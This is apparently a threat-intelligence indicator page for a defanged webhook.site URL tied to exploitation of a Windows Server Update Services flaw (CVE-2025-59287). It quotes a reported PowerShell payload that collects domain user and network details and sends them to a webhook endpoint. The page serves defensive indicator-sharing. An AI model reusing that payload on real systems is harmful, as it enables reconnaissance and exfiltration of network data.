hxxp://webhook[.]site/URL
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 11 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Exploitation of Windows Server Update Services Remote Code“try{$r= (&{echo hxxps://[REDACTED]:8531; net user /domain; ipconfig /all} |out-string)+ $Error }catch{$_.ToString()} ;$w="hxxp://webhook[.]site/[REDACTED]";try{iwr -UseBasicParsing -Uri $w -Body $r -Method Put}catch{curl.exe -k $w --data-binary $r}”
Indicators reported together
named in the same reports- hxxps://hawktrace[.]com/blog/CVE-2025-59287-UNAUTHin 1 report
- hawktrace[.]comin 1 report
Copy these 2 indicators · defanged
Also named with it: CVE-2025-59287
Thanks — we review every report.